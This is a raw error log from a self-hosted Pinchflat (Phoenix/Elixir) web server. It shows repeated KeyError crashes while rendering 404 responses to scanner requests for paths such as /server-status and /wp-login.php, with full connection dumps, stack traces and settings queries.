#PID<0.162706.0> running PinchflatWeb.Endpoint (connection #PID<0.162705.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37894}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162706.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIpGN6rfVNcMABvNE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37894}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37894}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162706.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIpGN6rfVNcMABvNE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 17:50:30.522 [info] GET /server-status 17:50:30.522 [debug] QUERY OK source="settings" db=0.1ms idle=454.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.522 [debug] QUERY OK source="settings" db=0.1ms idle=454.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.522 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:30.523 [error] #PID<0.162708.0> running PinchflatWeb.Endpoint (connection #PID<0.162707.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162708.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIqVzaFlgJ9EAFoMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162708.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIqVzaFlgJ9EAFoMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 17:50:30.629 [info] GET /wp-login.php 17:50:30.630 [debug] QUERY OK source="settings" db=0.1ms idle=441.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.630 [debug] QUERY OK source="settings" db=0.1ms idle=441.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.630 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:30.630 [error] #PID<0.162710.0> running PinchflatWeb.Endpoint (connection #PID<0.162709.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37916}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162710.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}, {"x-forwarded-for", "46.232.235.177"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "46.232.235.177"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIqvcOTuxjNAAFoNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37916}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37916}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162710.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (W (truncated) 17:50:31.174 [info] GET /about 17:50:31.174 [debug] QUERY OK source="settings" db=0.1ms idle=841.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:31.174 [debug] QUERY OK source="settings" db=0.1ms idle=652.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:31.174 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:31.175 [error] #PID<0.162712.0> running PinchflatWeb.Endpoint (connection #PID<0.162711.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /about ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162712.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIsxQ3b9ouYAAFoNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162712.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIsxQ3b9ouYAAFoNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status (truncated) 17:50:31.519 [info] GET /about 17:50:31.519 [debug] QUERY OK source="settings" db=0.1ms idle=889.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:31.519 [debug] QUERY OK source="settings" db=0.1ms idle=889.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:31.519 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:31.520 [error] #PID<0.162714.0> running PinchflatWeb.Endpoint (connection #PID<0.162713.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /about ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162713.0>, port: 80, 